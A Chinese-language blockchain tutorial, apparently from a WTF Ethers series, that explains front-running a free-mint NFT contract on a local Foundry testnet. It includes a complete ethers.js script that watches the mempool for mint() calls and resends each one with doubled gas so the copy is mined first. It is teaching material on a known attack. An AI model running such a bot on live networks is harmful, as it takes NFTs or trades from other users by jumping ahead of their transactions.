白天搞智能合约,晚上撸前端代码,只要咖啡还续着,凌晨照样在线!会说 Solidity、PHP、Node.js,还有 Vue 和 HTML 的“方言”,代码不怕我不写,就怕写完跑太快。Bug?那都是小场面,一出手就搞定。我的宗旨是——交付准时,调试无敌,客户满意才是真理!

23. 抢先交易脚本

这一讲,我们将介绍抢先交易(Front-running,抢跑)的脚本。

Freemint NFT合约

我们要抢跑的目标合约是一个ERC721标准的NFT合约Frontrun.sol,它拥有一个mint()函数进行免费铸造。

// SPDX-License-Identifier: MIT
// By 0xAA
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";

// 我们尝试frontrun一笔Free mint交易
contract FreeMint is ERC721 {
    uint256 public totalSupply;

    // 构造函数,初始化NFT合集的名称、代号
    constructor() ERC721("Free Mint NFT", "FreeMint"){}

    // 铸造函数
    function mint() external {
        totalSupply++;
        _mint(msg.sender, totalSupply); // mint
    }
}

为了简化测试环境,我们将上述合约部署在foundry本地测试网,然后监听在mempool中的未决交易,筛选出符合标准的交易进行抢跑。

安装好 foundry 后,在命令行输入以下命令就可以启动本地测试网:

anvil

抢跑脚本

下面,我们详解一下抢跑脚本frontrun.js,这个脚本会监听链上的mint()交易,并发送一个gas更高的相同交易,进行抢跑。

  1. 创建连接到foundry本地测试网的provider对象,用于监听和发送交易。foundry本地测试网默认url:"http://127.0.0.1:8545"

    //1.连接到foundry本地网络
    
    import { ethers } from "ethers";
    const provider = new ethers.providers.JsonRpcProvider('<http://127.0.0.1:8545>')
    let network = provider.getNetwork()
    network.then(res => console.log(`[${(new Date).toLocaleTimeString()}]链接到网络${res.chainId}`))
    
  2. 创建合约实例,用于查看mint结果,确认是否抢跑成功。

    //2.构建contract实例
    const contractABI = [
        "function mint() public",
        "function ownerOf(uint256) public view returns (address) ",
        "function totalSupply() view returns (uint256)"
    ]
    
    const contractAddress = '0xC76A71C4492c11bbaDC841342C4Cb470b5d12193'//合约地址
    const contractFM = new ethers.Contract(contractAddress, contractABI, provider)
    
  3. 创建一个包含我们感兴趣的mint()函数的interface对象,用于在监听过程中使用。如果你不了解它,可以阅读WTF Ethers极简教程第20讲:解码交易

    //3.创建Interface对象,用于检索mint函数。
    //V6版本 const iface = new ethers.Interface(contractABI)
    const iface = new ethers.utils.Interface(contractABI)
    function getSignature(fn) {
    // V6版本 return iface.getFunction("mint").selector
        return iface.getSighash(fn)
    }
    
  4. 创建测试钱包,用于发送抢跑交易,私钥是foundry测试网提供的,里面有10000 ETH测试币。

    //4. 创建测试钱包,用于发送抢跑交易,私钥是foundry测试网提供
    const privateKey = '0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80'
    const wallet = new ethers.Wallet(privateKey, provider)
    
  5. 我们先看一下正常的mint结果是怎样的。我们利用provider.on方法监听mempool中的未决交易,当交易出现时,我们会利用交易哈希txHash来读取交易详情tx,并筛选出调用了mint()函数的交易,查看交易结果,获取mint的nft编码及对应的owner,比对交易发起地址与owner是否一致。确认,mint按预期执行。

    //5. 构建正常mint函数,检验mint结果,显示正常。
    const normaltx = async () => {
    provider.on('pending', async (txHash) => {
        provider.getTransaction(txHash).then(
            async (tx) => {
                if (tx.data.indexOf(getSignature("mint")) !== -1) {
                    console.log(`[${(new Date).toLocaleTimeString()}]监听到交易:${txHash}`)
                    console.log(`铸造发起的地址是:${tx.from}`)//打印交易发起地址
                    await tx.wait()
                    const tokenId = await contractFM.totalSupply()
                    console.log(`mint的NFT编号:${tokenId}`)
                    console.log(`编号${tokenId}NFT的持有者是${await contractFM.ownerOf(tokenId)}`)//打印nft持有者地址
                    console.log(`铸造发起的地址是不是对应NFT的持有者:${tx.from === await contractFM.ownerOf(tokenId)}`)//比较二者是否一致
                }
            }
        )
    })
    }
    

  6. 进行抢跑mint。我们依旧利用provider.on方法监听mempool中的未决交易,当有调用了mint()函数的交易出现且发送方不是自己钱包地址的交易(如果不筛选,会自己抢跑自己的交易,陷入死循环)时,构建抢跑交易,发送交易进行抢跑。等待交易结束后,查看抢跑结果。预期将要被mint的nft并未被原交易发起地址mint,而是由抢跑地址mint。同时查看区块内数据,抢跑交易在原始交易前被打包进区块,抢跑成功!

    const frontRun = async () => {
    provider.on('pending', async (txHash) => {
        const tx = await provider.getTransaction(txHash)
        if (tx.data.indexOf(getSignature("mint")) !== -1 && tx.from !== wallet.address) {
            console.log(`[${(new Date).toLocaleTimeString()}]监听到交易:${txHash}\n准备抢先交易`)
            const frontRunTx = {
                to: tx.to,
                value: tx.value,
    // V6版本 maxPriorityFeePerGas: tx.maxPriorityFeePerGas * 2n, 其他运算同理。参考https://docs.ethers.org/v6/migrating/#migrate-bigint
                maxPriorityFeePerGas: tx.maxPriorityFeePerGas.mul(2),
                maxFeePerGas: tx.maxFeePerGas.mul(2),
                gasLimit: tx.gasLimit.mul(2),
                data: tx.data
            }
            const aimTokenId = (await contractFM.totalSupply()).add(1)
            console.log(`即将被mint的NFT编号是:${aimTokenId}`)//打印应该被mint的nft编号
            const sentFR = await wallet.sendTransaction(frontRunTx)
            console.log(`正在frontrun交易`)
            const receipt = await sentFR.wait()
            console.log(`frontrun 交易成功,交易hash是:${receipt.transactionHash}`)
            console.log(`铸造发起的地址是:${tx.from}`)
            console.log(`编号${aimTokenId}NFT的持有者是${await contractFM.ownerOf(aimTokenId)}`)//刚刚mint的nft持有者并不是tx.from
            console.log(`编号${aimTokenId.add(1)}的NFT的持有者是:${await contractFM.ownerOf(aimTokenId.add(1))}`)//tx.from被wallet.address抢跑,mint了下一个nft
            console.log(`铸造发起的地址是不是对应NFT的持有者:${tx.from === await contractFM.ownerOf(aimTokenId)}`)//比对地址,tx.from被抢跑
            //检验区块内数据结果
            const block = await provider.getBlock(tx.blockNumber)
            console.log(`区块内交易数据明细:${block.transactions}`)//在区块内,后发交易排在先发交易前,抢跑成功。
        }
    })
    }
    

合约代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";

// 我们尝试frontrun一笔Free mint交易
contract FreeMint is ERC721 {
    uint256 public totalSupply;

    // 构造函数,初始化NFT合集的名称、代号
    constructor() ERC721("Free Mint NFT", "FreeMint"){}

    // 铸造函数
    function mint() external {
        totalSupply++;
        _mint(msg.sender, totalSupply); // mint
    }

}

脚本代码

//1.连接到foundry本地网络
import { ethers } from "ethers";
// V6 版本 const provider = new ethers.JsonRpcProvider('http://127.0.0.1:8545')
const provider = new ethers.providers.WebSocketProvider('http://127.0.0.1:8545')
let network = provider.getNetwork()
network.then(res => console.log(`[${(new Date).toLocaleTimeString()}]链接到网络${res.chainId}`))

//2.构建contract实例
const contractABI = [
    "function mint() public",
    "function ownerOf(uint256) public view returns (address) ",
    "function totalSupply() view returns (uint256)"
]
const contractAddress = '0xC76A71C4492c11bbaDC841342C4Cb470b5d12193'
const contractFM = new ethers.Contract(contractAddress, contractABI, provider)

//3.创建Interface对象,用于检索mint函数。
const iface = new ethers.utils.Interface(contractABI)
function getSignature(fn) {
    // V6 版本 return iface.getFunction("mint").selector
    return iface.getSighash(fn)
}

//4. 创建测试钱包,用于发送抢跑交易,私钥是foundry测试网提供
const privateKey = '0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80'
const wallet = new ethers.Wallet(privateKey, provider)

//5. 构建正常mint函数,检验mint结果,显示正常。
const normaltx = async () => {
    provider.on('pending', async (txHash) => {
        provider.getTransaction(txHash).then(
            async (tx) => {
                if (tx.data.indexOf(getSignature("mint")) !== -1) {
                    console.log(`[${(new Date).toLocaleTimeString()}]监听到交易:${txHash}`)
                    console.log(`铸造发起的地址是:${tx.from}`)
                    await tx.wait()
                    const tokenId = await contractFM.totalSupply()
                    console.log(`mint的NFT编号:${tokenId}`)
                    console.log(`编号${tokenId}NFT的持有者是${await contractFM.ownerOf(tokenId)}`)
                    console.log(`铸造发起的地址是不是对应NFT的持有者:${tx.from === await contractFM.ownerOf(tokenId)}`)
                }
            }
        )
    })
}

//6.构建抢跑交易,检验mint结果,抢跑成功!
const frontRun = async () => {
    provider.on('pending', async (txHash) => {
        const tx = await provider.getTransaction(txHash)
        if (tx.data.indexOf(getSignature("mint")) !== -1 && tx.from !== wallet.address) {
            console.log(`[${(new Date).toLocaleTimeString()}]监听到交易:${txHash}\n准备抢先交易`)
            const frontRunTx = {
                to: tx.to,
                value: tx.value,
                // V6版本 maxPriorityFeePerGas: tx.maxPriorityFeePerGas * 2n, 其他运算同理。参考https://docs.ethers.org/v6/migrating/#migrate-bigint
                maxPriorityFeePerGas: tx.maxPriorityFeePerGas.mul(2),
                maxFeePerGas: tx.maxFeePerGas.mul(2),
                gasLimit: tx.gasLimit.mul(2),
                data: tx.data
            }
            const aimTokenId = (await contractFM.totalSupply()).add(1)
            console.log(`即将被mint的NFT编号是:${aimTokenId}`)//打印应该被mint的nft编号
            const sentFR = await wallet.sendTransaction(frontRunTx)
            console.log(`正在frontrun交易`)
            const receipt = await sentFR.wait()
            console.log(`frontrun 交易成功,交易hash是:${receipt.transactionHash}`)
            console.log(`铸造发起的地址是:${tx.from}`)
            console.log(`编号${aimTokenId}NFT的持有者是${await contractFM.ownerOf(aimTokenId)}`)//刚刚mint的nft持有者并不是tx.from
            console.log(`编号${aimTokenId.add(1)}的NFT的持有者是:${await contractFM.ownerOf(aimTokenId.add(1))}`)//tx.from被wallet.address抢跑,mint了下一个nft
            console.log(`铸造发起的地址是不是对应NFT的持有者:${tx.from === await contractFM.ownerOf(aimTokenId)}`)//比对地址,tx.from被抢跑
            //检验区块内数据结果
            const block = await provider.getBlock(tx.blockNumber)
            console.log(`区块内交易数据明细:${block.transactions}`)//在区块内,后发交易排在先发交易前,抢跑成功。
        }
    })
}


frontRun()